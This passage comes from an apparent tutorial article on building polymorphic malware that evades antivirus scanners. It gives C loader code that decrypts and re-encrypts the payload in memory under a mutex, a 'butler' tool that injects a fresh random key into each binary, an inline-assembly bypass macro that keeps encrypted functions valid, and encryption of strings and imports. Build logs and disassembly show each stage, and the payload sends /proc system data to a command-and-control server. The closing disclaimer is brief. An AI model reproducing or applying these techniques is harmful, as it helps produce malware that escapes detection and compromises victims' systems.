> 0000cb0 dfd8 fdea d2e6 d1e3 a796 9d7e 9f54 aa51
> 0000cc0 3b5a f942 532f 3fe1 a11c 23ed ea9b 5d27
> 0000cd0 e2e3 fdcd face b742 bd6c bf72 cc73 76b8
> 0000ce0 b40d 99b0 9ca8 16ad 3ee2 17db 10db ddaa
> 0000cf0 6e12 d5d2 c8fe cbf9 8271 aa5b ac67 db62
> 0000d00 65ad a31c 84a5 85b7 0bb6 27fd 6ca6 6fa2
> 0000d10 31cc a4c3 62df ccb6 a47c f3a5 3788 1502
> 0000d20 3a0e 390b ff42 418b b743 0e3c 093d b438
> 0000d30 b286 b183 0b3d 083a e73b 0dc4 0ac1 c5b2
> 0000d40 9522 3fd9 4d0c 106a a7ae 4774 4074 a699
> 0000d50 a46f e06a e7d3 e4d6 b13e b280 fd81 4e41
> 0000d60 a491 a795 cf7c c904 7905 b6c1 215d dc93
> 0000d70 0337 5747 952c 7691 7044 3b41 8c85 5665
> 0000d80 5165 ead8 edd9 06dc cf01 cc01 7347 7042
> 0000d90 9e43 1f2d 182c ba4f 18cc 192b dd62 43a9
> 0000da0 8ffb d0aa 6480 a41d 3ed2 fe47 a18d 61d8
> 0000db0 2e52 ed92 423e 03f0 4834 04f0 c27f e63c
> 0000dc0 27e9 24e9 3ca8 3002 df03 f73c f03b 1ca7
> 0000dd0 bc6a 7ac5 d004 1d6a 74fa 6755 6054 a219
> 0000de0 e25f ce14 6ba5 68a5 2ade 4e6f 8c35 3780
> 0000df0 3105 da00 4c81 4f82 f0c4 f3c1 1fc0 8e37
> 0000e00 18f8 55a0 028e 00cd 73cc e107 a85b fe71
> 0000e10 ff34 bb31 bc88 bf8d 7bc4 f53f dea2 dadc
> 0000e20 d0cc d3e1 a0e0 4e94 d419 d71a da2d c4be
> 0000e30 af7e 1426 1327 4d22 00bd 0000 8348 08ec
What is left now is just to run the C2 server, let it listen for incoming connections, and then run the obfuscated malware. If everything has been performed correctly, as it should be, you will be able to see the incoming data in the server as connection and socket communication is taking place from the client.
A good additional feature of the software can be that an additional payload can take care of modifying the hard-disk saved copy by decrypting and encrypting it with a new random key. This will take additional effort (not too much), and pays back with having a volatile malware which can change with time/executions, thus making more difficulty in its detection.
Resume
- Difficulty: Medium, complex feature to handle memory decryption/encryption
- Obfuscation: Nice, payload is encrypted and loader is small and hidden in legit code
- Secure on: Hard disk, network and RAM (until first loader execution, which can be dalayed or triggered on special events)
- Detect with: Simple signatures (on loader part) or heuristics on both the components. RAM scans now are useful only after the payload have been decrypted, and only if it is not re-encrypted again. If files on hard disk are not aligned with memory status of the PE/ELF, you can guess that something bad is happening by detecting difference between hard-disk and RAM bytecode (but also legit application can perform this, so it's just a guess).
Removing the Pants Only When Necessary
As this funny title says, it's not always necessary to go around "naked" if it's not necessary. The next step I decided to take is to add the necessary mechanism which allows the malware to remain encrypted in memory when is not used, and is decrypted just before invocation of its routines. Now the application starts to be more challenging. There are lot of details which starts to sum up, like state of the memory, multi-thread protection, and so on. Imagine, for example, that the functionalities embedded in the payload are sort of API, which allows you to design some modular architecture. You need to take into account invokation from multiple threads, the state of the non-re-entrant variables, and much, much more.
As you may notice in the source files, as the complexity of the software increases, so to does the code dedicated to it increase. The payload is still unchanged, and independent on what is happening "outside" it, but the loader itself is increasing in size and becoming more complex. You need to take in account that the more the loader increase in size and complexity, the more it becomes unique and large, and this makes it prone to detection to scanning software. Always consider the attackable surface of your application!
This additional step is included in the folder poly/3_on_time. The loader here has been moved away from the main application, isolated in its own source code sheet. The main now appears like:
int
main(int argc, char ** argv)
{
if(ldr_lock()) {
return 0;
}
pload_run();
ldr_unlock();
return 0;
}
Loader procedures starts with "ldr
" prefix, and identifies the small utilities offered. Since the code now is assumed to be run by multiple threads, it's protected by a simple mutex (you can put something else too) which grants atomic access to the payload functionalities. This feature is necessary since now the payload will be always remain encrypted, both on the hard disk and in memory, until it has to be executed. In addition to that, if you need it, you can also specify a different key each time the section is unlocked: this results in a pratically impossible to detect (again, using signature detection) payload.
As you can see in the following code, during locking stage a mutex lock is invoked; if someone is already processing the payload area, the thread will put to sleep until the procedure already in place finishes. It's extremely important here to be aware of what the payload does, since small errors in considering the lifecycle leads to a classical starvation problem in multithreading, which ultimately leads to the freezing of your entire architecture (everyone is waiting for that lock, but who has it is waiting for another lock).
int
ldr_unlock()
{
int ret;
ret = mem_encrypt(ldr_key, ldr_key_size);
pthread_mutex_unlock(&ldr_mtx);
return ret;
}
int
ldr_lock()
{
pthread_mutex_lock(&ldr_mtx);
if(mem_decrypt(ldr_key, ldr_key_size)) {
pthread_mutex_unlock(&ldr_mtx);
return -1;
}
return 0;
}
This malware now can potentially change from generation to generation, since it has the possibility to change its encryption key at every run (isolated in a variable), and performs this with small additional efforts put to the original PE/ELF file. Not only that, you can increase the size of the key to have a bigger set of possible values, and with a proper pseudo-random generator this makes it basically impossible to consider all the possible signatures which can be generated.
Now you can ask to yourself: what about the first generation? Isn't that first file always the same until the first run, when it finally applies randomization? This way, it can have a unique signature at the first download.
Unluckily for scanners no, since there's butler. The malware loader mechanism now has been designed to start with a dummy key and a dummy key size, which is really easy to scan once the application is compiled.
char ldr_key[LDR_KEY_MAX] =
{0, 1, 2, 3, 4, 5, 6, 7,
8, 9, 0, 1, 2, 3, 4, 5,
6, 7, 8, 9, 0, 1, 2, 3,
4, 5, 6, 7, 8, 9, 0, 1};
int ldr_key_size = 0xdead8e1;
Just before encrypting (from the outside) the malware, as you saw in the previous chapters, Butler detects such signatures in the PE/ELF on the hard disk, chooses a random (key, keysize) pair and encrypts everything with the selected value, injecting then such values in the application. This allows to have randomization also in the first generation of the malware, such that it can be distributed around without the fear of having the original one detected.
An example of such generation is:
xxx@xxx:/mnt/c/Projects/MOT/poly/3_on_time$ make
gcc -Wall -g -fpic -o mw ./main.c ./ldr.c ./pload.c -ldl
./ldr.c: In function ‘mem_decrypt’:
./ldr.c:34:17: warning: initialization makes pointer from integer without a
cast [-Wint-conversion]
void * start = (long)pload_start - ((long)pload_start % ps);
^
./ldr.c: In function ‘mem_encrypt’:
./ldr.c:76:17: warning: initialization makes pointer from integer without a
cast [-Wint-conversion]
void * start = (long)pload_start - ((long)pload_start % ps);
^
gcc -Wall -g -fpic -o butler ./butler.c
xxx@xxx:/mnt/c/Projects/MOT/poly/3_on_time$ ./butler
Injected key will be:
30 19 0e 12 7f c7 7a d9 df ca df 5f e9 25 de f9 27 d4 27 4a
c5 04 dc 3f 27 bd 9d 35 d4 89 97 04
Only the first 2 bytes of the key will be used!
64-bits executable detected...
Section detected; protecting...
Trying to inject the key...
Session key injected...
Session key size injected...
Performing a signature scan of the whole file and successive blocks will lead to different signatures (depending of course on the block size) on the payload area. It's worth noticing that the signatures on the loader still are the same, since it's not protected.
Signature with 2048 bytes block on such file leads to:
FILE:
93 2a 4d b1 a0 70 6e a7 53 51 18 47 6d fe 08 90 ad 91 d8 3c 42 c2 f6 bd ad a7 09 bb f9 50 2d 70
BLOCKS:
e9 7a 18 29 7f 1a 83 3f 65 ce 0d 5c ad c3 78 3b 89 3a ba 42 dc 1d cf 3f b6 18 74 7e 48 41 a4 73
da d8 7a 0c ae 51 17 6d 9f 80 90 22 4b b8 cd 2e 25 cb b7 c5 cb a6 3b 7b 91 5e 30 05 45 9f f8 5e
bd d9 78 24 d0 99 84 38 6c c3 e0 f8 1b bb f8 3b 33 f8 68 3b 52 ce 3d 8c 62 eb 2a 4a f7 b9 a7 37
56 5f 17 d3 40 60 44 21 33 1b bb 71 3e f8 54 b3 1c 12 da 2e fc 42 bd 98 9a 2a 1c e6 2f 3f da 7c
8b f5 ac e1 8c c5 5c de b4 f2 f9 51 ff e2 be a9 d8 50 d1 7e ef e3 5d 99 f0 2c 5d c2 11 74 fc e2
e1 02 d3 0c ad 89 84 84 ba 84 24 46 df a5 a2 51 35 00 24 f2 48 87 86 d5 88 d3 6e c8 00 86 3f bf
35 f3 69 a3 0d c7 41 32 70 ef aa d7 21 5b 50 2e 6d e3 4a f0 b6 80 57 67 e4 a9 df fb 9a c9 7d 85
36 4a ba bd cc 13 bf 77 b3 da 4d f1 ad e2 8f ab 4f c8 d3 c7 55 85 10 2e df c8 f7 7d df cc 97 86
a8 af 9e ec 46 92 60 48 84 dd 57 41 3a 2d 00 08 d2 e3 24 55 43 04 e5 0f ab 9e 43 7b 5d 70 fb 5c
55 86 c8 4b 5c 08 e7 46 55 67 88 ff 61 c0 ad 9d 46 a5 06 36 48 3a dc 33 d2 1e 77 9e 3a c9 a4 7c
While repeating make and butler operations again will leads to (changed blocks refer probably to text and data areas, where new payload and new key are located):
FILE:
8d 77 32 01 1b 57 73 f4 1c a4 2e 1d 7d 30 f9 8c c4 7b fb b0 41 ce 87 81 4e 1e 72 31 84 41 6a 0f
BLOCKS:
e9 7a 18 29 7f 1a 83 3f 65 ce 0d 5c ad c3 78 3b 89 3a ba 42 dc 1d cf 3f b6 18 74 7e 48 41 a4 73
71 88 8f 93 2d 5d bb b9 89 9b 3e 81 c5 b6 e2 d8 33 de 8a 0a bf 71 04 3d 34 18 93 b1 d6 df da 4f
86 fa 58 dd 24 22 fd b2 a6 94 a0 58 a7 a9 88 bf e3 de a7 cb 0e 41 a8 7a f0 c8 d7 c4 99 1b 6e 2d
56 5f 17 d3 40 60 44 21 33 1b bb 71 3e f8 54 b3 1c 12 da 2e fc 42 bd 98 9a 2a 1c e6 2f 3f da 7c
d8 c0 39 19 01 59 14 a0 fc 87 06 38 a6 96 0c fb 8c 12 65 4a 91 02 7a 0c 9d 80 0b 87 2c 07 d7 36
e1 02 d3 0c ad 89 84 84 ba 84 24 46 df a5 a2 51 35 00 24 f2 48 87 86 d5 88 d3 6e c8 00 86 3f bf
35 f3 69 a3 0d c7 41 32 70 ef aa d7 21 5b 50 2e 6d e3 4a f0 b6 80 57 67 e4 a9 df fb 9a c9 7d 85
36 4a ba bd cc 13 bf 77 b3 da 4d f1 ad e2 8f ab 4f c8 d3 c7 55 85 10 2e df c8 f7 7d df cc 97 86
a8 af 9e ec 46 92 60 48 84 dd 57 41 3a 2d 00 08 d2 e3 24 55 43 04 e5 0f ab 9e 43 7b 5d 70 fb 5c
55 86 c8 4b 5c 08 e7 46 55 67 88 ff 61 c0 ad 9d 46 a5 06 36 48 3a dc 33 d2 1e 77 9e 3a c9 a4 7c
Resume
- Difficulty: Hard, complex features to handle.
- Obfuscation: Nice, payload is encrypted and refreshed each time, but loader is becoming larger.
- Secure on: Hard disk, network and RAM, even during execution of non-payload operations.
- Detect with: Simple signatures (on loader or other parts) or heuristics on the components. RAM scans now are ineffective since the obfuscation is renewed, and possibly also updated with new keys. Heuristic through emulation can detect invalid bytecode and alert the user that something nasty is happening on that application.
An Always Valid Application
In the previous chapters, I focused on mechanisms that allow changing the signature of binary files by acting directly on the binary code of the application. This allows you to protect sensible areas of the application to avoid signature-based scanning techniques. But antiviruses also have different heuristics on their hands to analyze the application and guess the tasks assigned to it, and one of such techniques are based on virtual machines which "follows" the application code without loading it, and acts as it an Operating System/CPU to it. This way, they can monitor the application behavior and, in our case, detect part of the bytecode which is not valid.
Until now, I didn't show which are the effects of the various tools on the binary. Lets see what happens, step by step, by looking at the application once freshly compiled from scratch:
xxx@xxx:/mnt/c/Projects/MOT/poly/3_on_time$ make
gcc -Wall -g -fpic -o mw ./main.c ./ldr.c ./pload.c -ldl
./ldr.c: In function ‘mem_decrypt’:
./ldr.c:34:17: warning: initialization makes pointer from integer without
a cast [-Wint-conversion]
void * start = (long)pload_start - ((long)pload_start % ps);
^
./ldr.c: In function ‘mem_encrypt’:
./ldr.c:76:17: warning: initialization makes pointer from integer without
a cast [-Wint-conversion]
void * start = (long)pload_start - ((long)pload_start % ps);
^
gcc -Wall -g -fpic -o butler ./butler.c
xxx@xxx:/mnt/c/Projects/MOT/poly/3_on_time$ gdb ./mw
[...]
(gdb) disas /r pload_send
Dump of assembler code for function pload_send:
0x0000000000400ebd <+0>: 55 push %rbp
0x0000000000400ebe <+1>: 48 89 e5 mov %rsp,%rbp
0x0000000000400ec1 <+4>: 48 81 ec 30 04 00 00 sub $0x430,%rsp
0x0000000000400ec8 <+11>: 89 bd dc fb ff ff mov %edi,-0x424(%rbp)
0x0000000000400ece <+17>: 48 89 b5 d0 fb ff ff mov %rsi,-0x430(%rbp)
0x0000000000400ed5 <+24>: 64 48 8b 04 25 28 00 00 00 mov %fs:0x28,%rax
0x0000000000400ede <+33>: 48 89 45 f8 mov %rax,-0x8(%rbp)
0x0000000000400ee2 <+37>: 31 c0 xor %eax,%eax
0x0000000000400ee4 <+39>: c7 85 e4 fb ff ff 00 00 00 00 movl $0x0,-0x41c(%rbp)
0x0000000000400eee <+49>: 48 8b 85 d0 fb ff ff mov -0x430(%rbp),%rax
0x0000000000400ef5 <+56>: 48 8d 35 94 02 00 00
lea 0x294(%rip),%rsi # 0x401190
0x0000000000400efc <+63>: 48 89 c7 mov %rax,%rdi
0x0000000000400eff <+66>: e8 bc f9 ff ff callq 0x4008c0 <fopen@plt>
0x0000000000400f04 <+71>: 48 89 85 e8 fb ff ff mov %rax,-0x418(%rbp)
0x0000000000400f0b <+78>: 48 83 bd e8 fb ff ff 00 cmpq $0x0,-0x418(%rbp)
0x0000000000400f13 <+86>: 75 1d jne 0x400f32 <pload_send+117>
0x0000000000400f15 <+88>: 48 8b 85 d0 fb ff ff mov -0x430(%rbp),%rax
0x0000000000400f1c <+95>: 48 89 c6 mov %rax,%rsi
0x0000000000400f1f <+98>: 48 8d 3d 6c 02 00 00
lea 0x26c(%rip),%rdi # 0x401192
0x0000000000400f26 <+105>: b8 00 00 00 00 mov $0x0,%eax
0x0000000000400f2b <+110>: e8 20 f9 ff ff callq 0x400850 <printf@plt>
0x0000000000400f30 <+115>: eb 74 jmp 0x400fa6 <pload_send+233>
0x0000000000400f32 <+117>: 48 8b 95 e8 fb ff ff mov -0x418(%rbp),%rdx
0x0000000000400f39 <+124>: 48 8d 85 f0 fb ff ff lea -0x410(%rbp),%rax
0x0000000000400f40 <+131>: 48 89 d1 mov %rdx,%rcx
0x0000000000400f43 <+134>: ba 00 04 00 00 mov $0x400,%edx
0x0000000000400f48 <+139>: be 01 00 00 00 mov $0x1,%esi
0x0000000000400f4d <+144>: 48 89 c7 mov %rax,%rdi
0x0000000000400f50 <+147>: e8 ab f8 ff ff callq 0x400800 <fread@plt>
0x0000000000400f55 <+152>: 89 85 e4 fb ff ff mov %eax,-0x41c(%rbp)
0x0000000000400f5b <+158>: 8b 85 e4 fb ff ff mov -0x41c(%rbp),%eax
0x0000000000400f61 <+164>: 48 63 d0 movslq %eax,%rdx
0x0000000000400f64 <+167>: 48 8d b5 f0 fb ff ff lea -0x410(%rbp),%rsi
0x0000000000400f6b <+174>: 8b 85 dc fb ff ff mov -0x424(%rbp),%eax
0x0000000000400f71 <+180>: b9 00 00 00 00 mov $0x0,%ecx
0x0000000000400f76 <+185>: 89 c7 mov %eax,%edi
[...]
As you can see, nothing seems problematic here. The procedure is smooth, instructions are called one after the other and probably, as it is, the routine (called alone with correct arguments) will work fine. But all those op-codes there are the malware payload in clear, and if left like that, without modification, are prone to detection from signature-based scanners. This is where the butler comes into the game; by running the utility under the same folder you will encrypt those parts that needs to be scan-protected, and this has the following effects on the code:
xxx@xxx:/mnt/c/Projects/MOT/poly/3_on_time$ ./butler
Injected key will be:
d6 ed 6c 26 0f 90 a7 d5 f0 ee 2c 0e 98 e5 80 8a
67 e8 38 e6 22 a5 d3 74 05 36 31 da 76 72 d0 4c
Only the firsts 21 bytes of the key will be used!
64-bits executable detected...
Section detected; protecting...
Trying to inject the key...
Session key injected...
Session key size injected...
xxx@xxx:/mnt/c/Projects/MOT/poly/3_on_time$ gdb ./mw
[...]
(gdb) disas /r pload_run
Dump of assembler code for function pload_run:
0x000000000040100e <+0>: 9a (bad)
0x000000000040100f <+1>: 37 (bad)
0x0000000000401010 <+2>: 3e 51 ds push %rcx
0x0000000000401012 <+4>: 7e 15 jle 0x401029 <pload_run+27>
0x0000000000401014 <+6>: c1 17 51 rcll $0x51,(%rdi)
0x0000000000401017 <+9>: cf iret
0x0000000000401018 <+10>: a9 c1 c2 e5 75 test $0x75e5c2c1,%eax
0x000000000040101d <+15>: d2 07 rolb %cl,(%rdi)
0x000000000040101f <+17>: bf d8 b1 47 ee mov $0xee47b1d8,%edi
0x0000000000401024 <+22>: cb lret
0x0000000000401025 <+23>: f1 icebp
0x0000000000401026 <+24>: 7b 1c jnp 0x401044 <pload_run+54>
0x0000000000401028 <+26>: f4 hlt
0x0000000000401029 <+27>: cc int3
0x000000000040102a <+28>: 94 xchg %eax,%esp
0x000000000040102b <+29>: b7 61 mov $0x61,%bh
0x000000000040102d <+31>: 8c e0 mov %fs,%eax
0x000000000040102f <+33>: 79 74 jns 0x4010a5 <pload_run+151>
0x0000000000401031 <+35>: e4 43 in $0x43,%al
0x0000000000401033 <+37>: 96 xchg %eax,%esi
0x0000000000401034 <+38>: 8e a7 73 82 e5 89 mov -0x761a7d8d(%rdi),%fs
0x000000000040103a <+44>: 4c 12 f6 rex.WR adc %sil,%r14b
0x000000000040103d <+47>: 63 8f 69 3e fe 5b movslq 0x5bfe3e69(%rdi),%ecx
0x0000000000401043 <+53>: ba a1 11 80 27 mov $0x278011a1,%edx
0x0000000000401048 <+58>: f2 ea repnz (bad)
0x000000000040104a <+60>: a6 cmpsb %es:(%rdi),%ds:(%rsi)
0x000000000040104b <+61>: 7d 8c jge 0x400fd9 <pload_info+29>
0x000000000040104d <+63>: eb b6 jmp 0x401005 <pload_info+73>
0x000000000040104f <+65>: 36 bc db 33 e2 bf ss mov $0xbfe233db,%esp
0x0000000000401055 <+71>: 9d popfq
0x0000000000401056 <+72>: 4b a6 rex.WXB cmpsb %es:(%rdi),%ds:(%rsi)
0x0000000000401058 <+74>: 82 (bad)
0x0000000000401059 <+75>: 29 1b sub %ebx,(%rbx)
0x000000000040105b <+77>: 42 e4 31 rex.X in $0x31,%al
0x000000000040105e <+80>: c1 c7 f7 rol $0xf7,%edi
0x0000000000401061 <+83>: 01 66 7c add %esp,0x7c(%rsi)
0x0000000000401064 <+86>: b4 b7 mov $0xb7,%ah
0x0000000000401066 <+88>: 95 xchg %eax,%ebp
0x0000000000401067 <+89>: a5 movsl %ds:(%rsi),%es:(%rdi)
0x0000000000401068 <+90>: d5 (bad)
[...]
Now you can see that the flow is not like it was, and even worse (due to encryption), some instructions are classified as BAD. These instructions will likely to generate an exception and crash your program if ran; this is why you need to decrypt that part of binary before its use! Now antivirus advanced heuristics will reach the same conclusion when they discover this code (by exploiting all the visible procedure symbols, for example), and they will realize that the code is not executable as it is, and this means that encryption is in place.
What we need now is a way to make the procedure valid when encrypted, and also valid when decrypted!
The next step, present in the folder poly/4_runnable, overcomes this problem by further incrementing the difficulty of the malware. What the virus tries to do here is to protect only part of the procedure, bypassing all the bad code and returning straight a valid value. This is done by improving the encryption routines in both the butler tool and embedded loader. As a counter effect, now the loader is getting even bigger and more complex; this means that the probability to detect it (in this article the loader is kept unprotected) increases, and probability to introduce a software bugs also get higher.
The payload now needs some little modifications, since it must introduce a token that mark where to start encrypting a procedure, and how many bytes include under the "cape." Take into account that this means basically having the ability to include payload bytecode in legit working procedures (something like, find the size of a file before decryption, and find the size of a file plus extract information once decrypted). The execution bypass, and token for encryption, is the following inline assembly macro:
#define MARK_TO_PROTECT(bypass) \
asm volatile goto ( \
"jmp %l[bypass]\r\n" \
"nop\r\n" \
: \
: \
: \
: \
bypass);
Which is included at the beginning (or in whatever place) of the procedure that needs to be protected, but shall remain valid:
int
__encrypted
pload_run()
{
MARK_TO_PROTECT(bypass);
bypass:
return 0;
}
This reflects (in case of long jumps) inside the bytecode with the following op-codes (highlighted):
[...]
0x0000000000401535 <+0>: 55 push %rbp
0x0000000000401536 <+1>: 48 89 e5 mov %rsp,%rbp
0x0000000000401539 <+4>: 48 83 ec 30 sub $0x30,%rsp
0x000000000040153d <+8>: 64 48 8b 04 25 28 00 00 00 mov %fs:0x28,%rax
0x0000000000401546 <+17>: 48 89 45 f8 mov %rax,-0x8(%rbp)
0x000000000040154a <+21>: 31 c0 xor %eax,%eax
0x000000000040154c <+23>: e9 ea 00 00 00 jmpq 0x40163b <pload_run+262>
0x0000000000401551 <+28>: 90 nop
[...]
The procedure pload_run
now remains valid even if part of it is encrypted, and simply returns the success value 0
. If someone else runs this routine, or if due a condition being not true (someone is debugging you, the activation date is not reached, etc.) you can leave the code encrypted, the procedure and the application are still valid and will run without crash or data corruption.
The loader (and the butler utility) now does not simply encrypt/decrypt a chunck of memory, but contains additional logic which allows to navigate inside the procedures. This routine will locate the jump, replace it with some no-operation op-code, and makes the execution flow to run also the malware part. Once the code has finished to run, the payload will be re-encrypted again, and the NOPs will be overwritten with a valid jump as it was before decryption. Again, I'm not considering using different encryption key every time the code is executed and re-encrypted, but you can easily introduce such functionality in the code.
You can now run the C2 server and, after the butler does its job, run the malware to see it's effects. If everything has be done properly (as it was in my tests), then you should be able to see the report incoming in the server. An additional experiment you can do is trying to run the payload procedure outside the loader lock and unlock routines, and realize that they are runnable without any error, but also without any effects.
int main(int argc, char ** argv)
{
pload_run();
sleep(1);
if(ldr_lock()) {
printf("Failed!\n");
return 0;
}
pload_run();
ldr_unlock();
return 0;
}
Resume
- Difficulty: Hard, complex features to handle.
- Obfuscation: Nice, payload is encrypted and can be refreshed each time, but loader is even larger (and complex).
- Secure on: Hard disk, network and RAM, even during execution of non-payload operations. Additional logic can make it harder to detect the hidden features with heuristics.
- Detect with: Simple signatures on loader or other parts. Now the code can run regardless of the malware part is encrypted or not, and also heuristics will have a hard time in classifying it.
Devil's in the Details
As you may have noticed, the more the mechanism becomes better and precise, the more the details which should be taken into account. This is true especially with complex architectures, and here we are considering only protection part of the software, and not communication, other hiding feature or architecture modularity. You can think that, by adopting the previous techniques, you are safe ... but in fact you are not. The obfuscation routines seen here are only a part of the self-security mechanism that malwares apply on themselves.
For example, data strings used in the printf
or similar API provides a good base to create signatures for the software. Scanning for "/proc/cpuinfo" or similar paths can be used to detect your software in no time (or at least ring the bell in the antivirus). If you join all the string
s together, you get a pretty unique fingerprint for the application to use as reference for future scans.
This can be avoided by introducing the last obfuscation mechanism of this article: data hiding. This works as for the binary counterpart, but affect the data area that are sensible and must be protected. This is also true for imported symbols. Importing, for example, the system call mprotect
can mark your application as suspicious, and antivirus can run on it more sophisticated heuristic to exclude a threat from it. You can then use dlopen
and dlsym
to load a library and find a particular public procedure in it. These procedures takes string
as input, and if you encrypt those string
s, you also hide part of your import
table.
In the poly/5_data_hiding folder, you can find the dummy malware which also applies data hiding. The first step to perform this is to remove everything which is included in quotes, and include it in a special structure which has the following form:
#define STRING_KEY_SIZE 64
#define STRING_MAX_SIZE 256
typedef struct __protected_string_container {
char key[STRING_KEY_SIZE];
char string[STRING_MAX_SIZE];
} __attribute__((packed)) PSC;
The first part is an area of bytes used as the key for the following string. Note that the same mechanism can be used for normal variables (integers, floating, shorts or complex structures); just a cast must be done before using it. The loader then has been extended to offer an additional feature, which is the ldr_get_string
procedure. This new mechanism accept in input an id (assigned to the protected string) and an area of memory where to dump the unencrypted data (which is usually allocated on the stack, and will be cleaned after the procedure returns).
The string marked as to protect are organized as follows:
PSC ldr_cpuinfo = {
{1, 1, 1, 1, 1, 1, 1, 1,
2, 2, 2, 2, 2, 2, 2, 2,
3, 3, 3, 3, 3, 3, 3, 3,
4, 4, 4, 4, 4, 4, 4, 4,
5, 5, 5, 5, 5, 5, 5, 5,
6, 6, 6, 6, 6, 6, 6, 6,
7, 7, 7, 7, 7, 7, 7, 7,
8, 8, 8, 8, 8, 8, 8, 8},
"/proc/cpuinfo\0"
};
The first element, the key, contains the token used by butler to find the area inside the ELF/PE, while the following 256 bytes are dedicated to the value to contains, and they will be encrypted. The used key is saved then in the head of the structure and everything is dumped again on the hard-disk to match the modifications.
If you scan previous version of the malware, you can actually see the strings clearly inside its data area:
xxx@xxx:/mnt/c/Projects/MOT/poly/4_runnable$ vim ./mw
[...]
@ERROR: Failed to un-protect memory^@^@^@^@^@^@ERROR:
Failed to protect memory^@e^@l^@^@^@^@^@r^@WARNING: Could not locate %s
^@ERROR: Could not send data!^@/proc/cpuinfo^@/proc/meminfo^@/
proc/cmdline^@/proc/version^@^@^@^@^@ERROR: Could not open a socket!^@localhost^@ERROR:
Cannot resolve '%s'
^@^@^@ERROR: Cannot connect to Command&Control^
[...]
While same scan on version 5 will lead to:
ÚÛ^_^T´Nü^X<84>EÃ^Hq«Íë^_^\æ¾Â¿ê¢(<8b>^B^PÂ<97>´<86><8a>ENî£q¡Õî<97>ëW<9b>°<84>uv;èdÚ=^GO%&âxL
`I^OË<87>'ÝyÓ¤^QßÑ^X$±mfruUS^AæÚ:9Ãø<9d> `?v¶½^]P<82>^F ácà^Tår®¥Y£ùÇ<82><8f>ËAUÜ<9d>ãÅÞûÉwgÂ8
<9c><81>~o¡¯îQ<^_ë<9c>«¤§õ¥«Þ55ñâùõ<95>ß^[^PÌtËd^G9¿C^[^\^AX»½ðÜmI!~ya<9e>¥¸^@^@^@^@H<8b>MødH3
^L%(^@^@^@t^EèióÿÿÉÃUH<89>åH<81>ì ^A^@^@<89>½ìþÿÿdH<8b>^D%(^@^@^@H<89>Eø1Àéè^@^@^@J»^MlÃ8<9c>6
^RÓUÖ"Ôb¾µI³éÇ<99>~b_9¼<88>ìÏÔ´^M7Ã<9c>Ñ^C<90>³pöu<81>&^\<ÈËüïcÙ>^Däÿ^A:_^Hi_^XÜ×ÀLÁ^]FoºÇÌ|¢ó}
q=^Q^W^@¯^Yl<87>Ï<82>Þ½Z<80>9^B^^9ÀdÎ×Ö%±^MÏÌà^U^V[^C^?>o'^N<87><95><86><9d><91>T^S×ÜËC<9d>8Zd^
]$Ð<9e>^HÔ<97>â<96>ú^Gª^E²/<80>|G"{_ð^-T<9e>kÎd^GMN!+<9b>òfäÎõáð¶ä¬&<85>^HI#^A^Z?<^Gò¨»g=CÀC·ø
<86>J½¾ó¥<9c>Dü^Cû<85>uO* f9l©¢^BO<9d>^^^K^McW^î<87>¸^@^@^@^@H<8b>MødH3^L%(^@^@^@t^EèAò
ÿÿÉÃUH<89>åH<81>ì0^A^@^@dH<8b>^D%(^@^@^@H<89>Eø1Àéý^@^@^@JIr<86>ÙÜ9mñ0¶<8a>|3¥y<9a><8d>ÍáçÃé<8a>
^A^Uê<8a><82><98>½ûÀA^T©ò§;ú<95>Â6yï{ý<84>Æëí¿ª^]i<82><82>^N^]^G\<80>9^BöA0<90>:YÐÛÝÙh^A"a^TaZ
<89>Ö<86>Îó<91>^T^HlOTÆüzV÷^M©ü^UÞàc<97>ØN{á^]¯|ã<89>£ô^?k<94>RÈ\3l^MÈÃcíö·cÁ<97>\#é§<85>qr<88>
ÐiÜ;^GrÑ\^UoMVs<82>:^OT^YËX<8c>Ä<8d>æ÷I ^C·ëV<85>|9í«!5S^^^A?%^@F5L<9e>{Þt^W]^ ^C³Ú¼§[é:
<8b>¯ÎðBAI^?^Z9XB<8f>³ÿ ¥þ«Ü^B^O
)<98>ñÒPk1+/}-^QáÞ ^[~+^H:Ð^Z^Q±¸^@^@^@^@H<8b>uødH34%(^@^@^@t^Eè
Now this is data, so no assumption can be done an it from the antivirus. In fact, it is perfectly legit to read and modify your data area.
Resume
- Difficulty: Hard, complex features to handle. Just miss only one point to get a free crash.
- Obfuscation: Nice, payload is encrypted and can be refreshed each time, but the loader is even larger (and complex). Data that is sensible can be protected too, so no more easily readable strings or values.
- Secure on: Hard disk, network and RAM, even during execution of non-payload operations. Additional logic can make it harder to detect the hidden features with heuristics.
- Detect with: Simple signatures on loader, if not metamorphic. Effects on the system, but once seen is too late and the malware is already running.
Final Resume
In the article, I showed what is a possible evolution, step by step, for malware. Everything starts with the core application, which tries to do its tasks, and evolves through a new form that needs to be protected from scans. The first idea, and most naive one, is to encrypt the entire virus, but on one hand, while this offers maximum protection, on the other hand is also prone to detection from heuristics. Encrypted-detection heuristics are pretty good in nowadays.
To reduce attackable surface, the loader is hidden somewhere in the legit code (but in this article, it does not self-protect), and part of the application itself are encrypted using different keys to avoid detection. But as malware evolves, luckily anti-virus counterparts evolves too, and heuristics can scan RAM or detect it if the application will run invalid op-code. The next step is then to create an always legit application, with hidden functionalities which triggers when you most desire it (bypassing of invalid code).
The last step shown here is hiding the data, and not only the code, by applying similar techniques on those areas. What is presented here is not even something static and always equals through generation. Including the butler tool, and the structure of the malware itself, allows you to apply different keys to begin with, thus resulting in different first-generation applications.
Once again, I want to remind you that the software here is a prototype. I discourage you from using it in the wild if you did not understand all the points and details behind the obfuscation idea. You can really break everything in no time for a simple mistake. That's in addition to the fact that hacking is not a legal operation in almost all countries in the world, and you will certainly incur legal problems if you try to impress someone with your "hacking" skills.
History
- 14th April, 2018: Initial version